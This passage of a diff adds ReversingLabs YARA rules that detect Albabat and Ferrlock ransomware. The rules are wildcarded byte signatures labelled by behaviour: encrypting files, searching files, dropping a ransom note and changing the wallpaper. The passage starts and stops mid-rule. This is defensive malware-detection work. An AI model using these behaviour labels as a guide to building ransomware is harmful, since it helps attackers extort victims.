+            ?? ?? ?? ?? 64 FF 30 64 89 20 6A ?? 8B 4D ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89
+            45 ?? 8B 45 ?? 8B 10 FF 12 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ??
+            ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ??
+            33 D2 8B 45 ?? 8B 08 FF 51 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B
+            45 ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? C6
+            85 ?? ?? ?? ?? ?? EB ?? C6 85 ?? ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59
+            64 89 10 EB ?? E9 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30
+        }
+		$encrypt_files_p2 = {
+            64 89 20 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 8B 4D ?? B2 ??
+            A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8B 45 ?? 8B 10 FF 12 89 85 ?? ?? ?? ?? 89 95
+            ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 83 BD ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? EB ??
+            0F 8E ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 76 ?? EB
+            ?? 7E ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 85 ??
+            ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ??
+            ?? 8D 45 ?? E8 ?? ?? ?? ?? BB ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 8D 85
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 83 FB ?? 7F ??
+            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ??
+            ?? 8D 45 ?? E8 ?? ?? ?? ?? 43 83 FB ?? 75 ?? 8B 85 ?? ?? ?? ?? 8B D0 8D 45 ?? E8 ??
+            ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B D0 8B 8D ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 83
+            BD ?? ?? ?? ?? ?? 75 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 8D 45 ?? BA
+        }
+		$encrypt_files_p3 = {
+            E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ??
+            EB ?? 8D 45 ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 33 D2 8B 45 ?? 8B
+            08 FF 51 ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 8D 45 ??
+            E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B D0 B9 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 59 55 E8 ?? ??
+            ?? ?? 59 EB ?? 55 E8 ?? ?? ?? ?? 59 A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0 B9 ?? ?? ??
+            ?? 8B 45 ?? E8 ?? ?? ?? ?? 55 E8 ?? ?? ?? ?? 59 C6 85 ?? ?? ?? ?? ?? 8B 45 ?? E8 ??
+            ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50
+            E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ??
+            64 FF 30 64 89 20 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ??
+            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*))
+}
+rule REVERSINGLABS_Win64_Ransomware_Albabat : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Albabat ransomware."
+		author = "ReversingLabs"
+		id = "11941c0d-45fb-5746-bbad-f43f336d4b1d"
+		date = "2024-03-18"
+		modified = "2024-03-18"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win64.Ransomware.Albabat.yara#L1-L139"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "38ec8388b9006f6ab9a397858b89f4bfd7def2ffcf525cfc736abae49bc6034a"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Albabat"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$encrypt_files_p1 = {
+            48 8D 05 ?? ?? ?? ?? 48 89 83 ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ?? C7 83 ??
+            ?? ?? ?? ?? ?? ?? ?? 66 C7 83 ?? ?? 00 00 ?? ?? C7 83 ?? ?? ?? ?? ?? ?? ?? ?? 0F 57
+            F6 0F 11 B3 ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ?? C6 83 ?? ?? ?? ?? ?? 4C 8D
+            83 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 D7 48 85 C0 74 ?? 0F B6 05 ?? ?? ?? ?? 48 8B 0D
+            ?? ?? ?? ?? 48 85 C9 75 ?? FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 C1 48
+            89 05 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 31 D2 FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ??
+            ?? 48 89 C6 48 89 38 4C 8D 35 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 89 BB ?? ?? ?? ?? 48 C7
+            83 ?? ?? ?? ?? ?? ?? ?? ?? 0F 11 B3 ?? ?? ?? ?? 48 89 F9 E8 ?? ?? ?? ?? 48 89 C6 48
+            89 D7 48 85 C0 74 ?? 48 85 FF 0F 85 ?? ?? ?? ?? 48 89 7C 24 ?? 48 8D 8B ?? ?? ?? ??
+            48 8D 93 ?? ?? ?? ?? 4C 8D 83 ?? ?? ?? ?? 49 89 F1 E8 ?? ?? ?? ?? 48 83 BB ?? ?? ??
+            ?? ?? 0F 84 ?? ?? ?? ?? 48 8B BB ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? 48 8B 0D ?? ?? ??
+            ?? 48 85 C9 75 ?? FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 C1 48 89 05 ??
+            ?? ?? ?? 41 B8 ?? ?? ?? ?? 31 D2 FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89
+        }
+		$encrypt_files_p2 = {
+            C6 48 89 38 4C 8D 35 ?? ?? ?? ?? 48 83 BB ?? ?? ?? ?? ?? 74 ?? 4C 8B 83 ?? ?? ?? ??
+            48 8B 0D ?? ?? ?? ?? 31 D2 FF 15 ?? ?? ?? ?? 48 8B 8B ?? ?? ?? ?? FF 15 ?? ?? ?? ??
+            48 85 F6 0F 84 ?? ?? ?? ?? 48 89 B3 ?? ?? ?? ?? 4C 89 B3 ?? ?? ?? ?? 4C 8D B3 ?? ??
+            ?? ?? 4C 89 B3 ?? ?? ?? ?? 4C 8D 3D ?? ?? ?? ?? 4C 89 BB ?? ?? ?? ?? 48 8D 05 ?? ??
+            ?? ?? 48 89 83 ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ??
+            ?? ?? ?? 48 8D BB ?? ?? ?? ?? 48 89 BB ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ??
+            48 8D 8B ?? ?? ?? ?? 48 8D 93 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B B3 ?? ?? ?? ?? 48 8B
+            93 ?? ?? ?? ?? 4C 8B A3 ?? ?? ?? ?? 48 89 F1 E8 ?? ?? ?? ?? 4D 85 E4 74 ?? 48 8B 0D
+            ?? ?? ?? ?? 31 D2 49 89 F0 FF 15 ?? ?? ?? ?? 4C 89 B3 ?? ?? ?? ?? 4C 89 BB ?? ?? ??
+            ?? 48 8D 05 ?? ?? ?? ?? 48 89 83 ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D
+            35 ?? ?? ?? ?? 48 89 B3 ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ?? 4C 8D B3 ?? ??
+            ?? ?? 4C 89 B3 ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ??
+            ?? ?? ?? 48 8D 8B ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 48 8B 05 ?? ??
+            ?? ?? 48 83 F8 ?? 0F 85 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 65 48 8B
+            14 25 ?? ?? ?? ?? 48 8B 0C CA 48 8D 89 ?? ?? ?? ?? 48 39 C8 75 ?? 8B 05 ?? ?? ?? ??
+            FF C0 75 ?? 48 8D 0D ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? BA ?? ?? ?? ?? E8
+        }
+		$drop_ransom_note = {
+            48 8D 05 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48
+            89 B4 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 4C 89 B4 24 ?? ?? ?? ?? 48
+            C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 48 83 BC 24 ?? ?? ?? ?? ?? 74 ?? 4C 8B 84 24 ?? ?? ?? ?? 48 8B 0D ?? ??
+            ?? ?? 31 D2 FF 15 ?? ?? ?? ?? 48 8D B4 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 89
+            F1 E8 ?? ?? ?? ?? 48 85 C0 4C 8B 74 24 ?? 74 ?? 48 89 C5 4C 8B 6C 24 ?? E9 ?? ?? ??
+            ?? 4D 8D 0C D1 49 83 C1 ?? 48 C1 E2 ?? 48 F7 DA 4F 8D 14 C2 49 83 C2 ?? 49 C1 E0 ??
+            49 F7 D8 45 31 DB 4C 39 DA 0F 84 ?? ?? ?? ?? 4D 39 D8 0F 84 ?? ?? ?? ?? 4B 8B 34 19
+            4F 8B 34 1A 4C 39 F6 0F 82 ?? ?? ?? ?? 49 83 C3 ?? 4C 39 F6 76 ?? E9 ?? ?? ?? ?? 48
+            8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 BC 24
+            ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 4C
+            8B 84 24 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 0D ?? ?? ?? ?? 48 8D 8C 24 ??
+            ?? ?? ?? 48 89 DA E8 ?? ?? ?? ?? 4C 8B B4 24 ?? ?? ?? ?? 4C 8B 84 24 ?? ?? ?? ?? 48
+            C7 44 24 ?? ?? ?? ?? ?? 4C 8D 0D ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 4C 89 F2 E8 ??
+            ?? ?? ?? 48 83 BC 24 ?? ?? ?? ?? ?? 74 ?? 48 8B 0D ?? ?? ?? ?? 31 D2 4D 89 F0 FF 15
+            ?? ?? ?? ?? 48 85 ED 74 ?? 48 8B 0D ?? ?? ?? ?? 31 D2 49 89 D8 FF 15 ?? ?? ?? ?? 48
+            8D 9C 24 ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 4C 8D 0D ?? ?? ??
+            ?? 41 B8 ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 0F 10 00 0F 11 84 24 ?? ?? ?? ?? 48 8B
+            8C 24 ?? ?? ?? ?? 48 85 C9 74
+        }
+		$change_desktop_wallpaper = {
+            4C 8D 0D ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 DA E8 ?? ?? ?? ?? 48 83 BC 24 ??
+            ?? ?? ?? ?? 74 ?? 48 8B 0D ?? ?? ?? ?? 31 D2 49 89 D8 FF 15 ?? ?? ?? ?? 4D 85 F6 74
+            ?? 48 8B 0D ?? ?? ?? ?? 31 D2 49 89 F0 FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D
+            8C 24 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8D 25 ?? ?? ?? ?? 48 85 C0 4C
+            8B 74 24 ?? 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 41 B8 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 80 BC 24 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8B B4 24 ?? ??
+            ?? ?? 4C 8B AC 24 ?? ?? ?? ?? 4C 8B 84 24 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 4C
+            8D 0D ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 F2 E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ??
+            ?? ?? 4C 8B 84 24 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 4C 8D 0D ?? ?? ?? ?? 48 8D
+            8C 24 ?? ?? ?? ?? 48 89 DA E8 ?? ?? ?? ?? 48 83 BC 24 ?? ?? ?? ?? ?? 74 ?? 48 8B 0D
+            ?? ?? ?? ?? 31 D2 49 89 D8 FF 15 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 4C 8B B4 24 ??
+            ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 DA 4D 89 F0 E8 ?? ?? ?? ?? 83 BC 24 ?? ?? ??
+            ?? ?? 0F 85 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 89 C1 83 E1 ?? 83 F9 ?? 0F 85 ?? ??
+            ?? ?? 48 8D 58 ?? 4C 8B 70 ?? 48 8B 68 ?? 4C 89 F1 FF 55
+        }
+		$find_files_p1 = {
+            4C 8D 0D ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 DA E8 ?? ?? ?? ?? 48 83 BC 24 ??
+            ?? ?? ?? ?? 74 ?? 48 8B 0D ?? ?? ?? ?? 31 D2 49 89 D8 FF 15 ?? ?? ?? ?? 4D 85 FF 74
+            ?? 48 8B 0D ?? ?? ?? ?? 31 D2 49 89 F0 FF 15 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ??
+            ?? ?? ?? 66 0F EF C0 F3 0F 7F 84 24 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 8D 94 24
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 C5 4C 8B 6C 24 ?? 4C 8B
+            74 24 ?? E9 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 31 D2 49 89 F0 E8 ?? ?? ?? ?? 48 8B
+            84 24 ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? 48 29 E8 48 39 F0 72 ?? 48 8B 8C 24 ?? ??
+            ?? ?? 48 01 E9 31 D2 49 89 F0 E8 ?? ?? ?? ?? 48 01 F5 48 89 AC 24 ?? ?? ?? ?? E9 ??
+            ?? ?? ?? 48 C1 ED ?? 74 ?? 41 BD ?? ?? ?? ?? E9 ?? ?? ?? ?? 49 83 FF ?? 72 ?? 48 85
+            DB 74 ?? 48 8B 84 24 ?? ?? ?? ?? EB ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 EA 49 89 F0 E8
+            ?? ?? ?? ?? 48 8B AC 24 ?? ?? ?? ?? EB ?? 4C 89 FB 4C 89 F0 4D 85 FF 74 ?? 49 89 DC
+            48 8B 44 D8 ?? 48 85 C0 74 ?? 48 0F BD C0 48 83 F0 ?? EB ?? 45 31 E4 EB ?? B8 ?? ??
+            ?? ?? 49 C1 E4 ?? 49 83 CC ?? 49 29 C4 49 C1 EC ?? 48 8B B4 24 ?? ?? ?? ?? BA ?? ??
+            ?? ?? 48 89 F1 45 31 C0 E8 ?? ?? ?? ?? 48 89 F1 E8 ?? ?? ?? ?? 49 89 C7 49 83 FC
+        }
+		$find_files_p2 = {
+            73 ?? 48 8B 0D ?? ?? ?? ?? 31 D2 4D 89 F8 FF 15 ?? ?? ?? ?? 41 BD ?? ?? ?? ?? E9 ??
+            ?? ?? ?? BA ?? ?? ?? ?? 4C 89 E1 E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 68
+            ?? 49 8D 5C 24 ?? 48 8B 8C 24 ?? ?? ?? ?? 48 89 EA 48 89 44 24 ?? E8 ?? ?? ?? ?? 48
+            8B 44 24 ?? F3 41 0F 6F 07 41 0F 10 4F ?? 0F 11 48 ?? F3 0F 7F 40 ?? 49 8D 4C 24 ??
+            48 39 D9 0F 83 ?? ?? ?? ?? 4D 89 E5 4C 8D 60 ?? 49 8D 4D ?? 43 C6 44 2C ?? ?? 48 39
+            CB 0F 82 ?? ?? ?? ?? 43 0F 11 74 2C ?? 43 0F 11 7C 2C ?? 48 C7 44 24 ?? ?? ?? ?? ??
+            4C 89 E1 48 89 DA 48 8B B4 24 ?? ?? ?? ?? 49 89 F0 49 89 E9 E8 ?? ?? ?? ?? 48 89 5C
+            24 ?? BA ?? ?? ?? ?? 48 89 E9 49 89 F0 4D 89 E1 E8 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ??
+            31 D2 4D 89 F8 FF 15 ?? ?? ?? ?? 0F B6 05 ?? ?? ?? ?? BA ?? ?? ?? ?? 4C 89 E9 E8 ??
+            ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 C3 48 8D B4 24 ?? ?? ?? ?? 48 89 C1 48 8B
+            54 24 ?? 4D 89 E8 E8
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ($drop_ransom_note) and ($change_desktop_wallpaper)
+}
+rule REVERSINGLABS_Win32_Ransomware_Ferrlock : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Ferrlock ransomware."
+		author = "ReversingLabs"
+		id = "745ce529-46d0-56ed-a8fa-b41b26b068f4"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Ferrlock.yara#L1-L131"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "b94bc77489dbb74573813631009e605bc848e17995a0a512d08b194ee3020b75"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Ferrlock"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$search_files_p1 = {
+            8B FF 55 8B EC 51 8B 4D ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 57 8B 7D ?? 2B CA 8B C7 41
+            F7 D0 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 53 56 8D 5F ?? 03 D9 6A ?? 53 E8 ?? ?? ??
+            ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? FF
+            75 ?? 2B DF 8D 04 3E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 5D ?? 8B
+            CB E8 ?? ?? ?? ?? 33 FF 89 45 ?? 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 8B 75 ?? 59 EB ?? 8B
+            43 ?? 89 30 8B F7 83 43 ?? ?? 57 E8 ?? ?? ?? ?? 59 8B C6 5E 5B 5F 8B E5 5D C3 33 FF
+            57 57 57 57 57 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33
+            C5 89 45 ?? 8B 4D ?? 53 8B 5D ?? 57 8B 7D ?? 89 9D ?? ?? ?? ?? EB ?? 8A 01 3C ?? 74
+            ?? 3C ?? 74 ?? 3C ?? 74 ?? 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8A 11 80 FA
+            ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 53 33 DB 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 33 DB
+        }
+		$search_files_p2 = {
+            80 FA ?? 74 ?? 80 FA ?? 74 ?? 8A C3 80 FA ?? 75 ?? B0 ?? 0F B6 C0 2B CF 41 F7 D8 56
+            1B C0 23 C1 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 E8 ?? ?? ?? ??
+            83 C4 ?? 8D 85 ?? ?? ?? ?? 53 53 53 50 53 57 FF 15 ?? ?? ?? ?? 8B F0 8B 85 ?? ?? ??
+            ?? 83 FE ?? 75 ?? 50 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 83 FE ?? 74 ?? 56 FF 15
+            ?? ?? ?? ?? 8B C3 5E 8B 4D ?? 5F 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 48 ?? 2B 08
+            C1 F9 ?? 89 8D ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 8A 8D ?? ?? ?? ?? 84 C9 74 ??
+            80 F9 ?? 75 ?? 38 9D ?? ?? ?? ?? 74 ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50
+            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0
+            8B 85 ?? ?? ?? ?? 75 ?? 8B 10 8B 40 ?? 8B 8D ?? ?? ?? ?? 2B C2 C1 F8 ?? 3B C8 0F 84
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? E9
+        }
+		$enum_rsrc = {
+            6A ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 4D ?? 8B 45 ?? 8D 4D ?? 83 4D ?? ?? 51 50 6A
+            ?? 6A ?? 6A ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75
+            ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ?? ?? ?? EB ?? 33 DB 39 5D ?? 7E ??
+            8D 7E ?? F7 47 ?? ?? ?? ?? ?? 74 ?? 8D 47 ?? 89 45 ?? 8B 45 ?? 8B 00 8B 48 ?? 85 C9
+            74 ?? 8B 01 8D 55 ?? 52 FF 50 ?? EB ?? FF 37 8D 4D ?? E8 ?? ?? ?? ?? 83 65 ?? ?? 8D
+            45 ?? 50 8B 45 ?? 8B 48 ?? E8 ?? ?? ?? ?? 83 4D ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 43 83
+            C7 ?? 3B 5D ?? 7C ?? 83 4D ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? 50 56 8D 45 ?? 50 FF
+            75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? C2 ?? ?? E8 ?? ?? ?? ?? CC 55 8B EC 6A ?? 68 ?? ?? ?? ??
+            64 A1 ?? ?? ?? ?? 50 56 A1 ?? ?? ?? ?? 33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B F1 83
+            65 ?? ?? 8B 4E ?? 85 C9 74 ?? 8B 11 3B CE 0F 95 C0 0F B6 C0 50 FF 52 ?? 83 66 ?? ??
+            8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5E 8B E5 5D C3
+        }
+		$create_test_file_p1 = {
+            68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 33 DB 8D 55
+            ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 89 5D ?? E8 ?? ?? ?? ?? 59 8D 45 ?? C6 45 ?? ??
+            50 8D 4D ?? 89 5D ?? 89 5D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8
+            ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 83 CB ?? 8B 3D ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 65 ?? ??
+            8D 4D ?? 83 65 ?? ?? 56 E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? FF 75 ?? 8B 45 ?? 2B 45
+            ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 8B 55 ?? 8D 4D ?? 0F 43 45 ??
+            83 7D ?? ?? 0F 43 4D ?? 3B 55 ?? 75 ?? 52 50 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 85 ?? ??
+            ?? ?? ?? 85 C0 74 ?? C6 85 ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 80 BD ?? ?? ?? ??
+            ?? 8D 4D ?? 0F 85 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C6 ?? 3B F7 0F 85 ?? ??
+            ?? ?? 83 7D ?? ?? 8D 45 ?? 8B 35 ?? ?? ?? ?? BF ?? ?? ?? ?? 0F 43 45 ?? 33 C9 51 57
+        }
+		$create_test_file_p2 = {
+            6A ?? 51 51 68 ?? ?? ?? ?? 50 FF D6 3B C3 0F 84 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83
+            7D ?? ?? 8D 45 ?? 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45 ??
+            33 C9 51 57 6A ?? 51 51 68 ?? ?? ?? ?? 50 FF D6 8B F8 3B FB 0F 84 ?? ?? ?? ?? 6A ??
+            57 FF 15 ?? ?? ?? ?? 8B F0 85 F6 75 ?? 57 FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? E9 ?? ?? ?? ?? 6A ?? 58 3B F0 0F 42 F0 03 F0 56 E8 ?? ?? ?? ?? 59 6A ?? 89 85
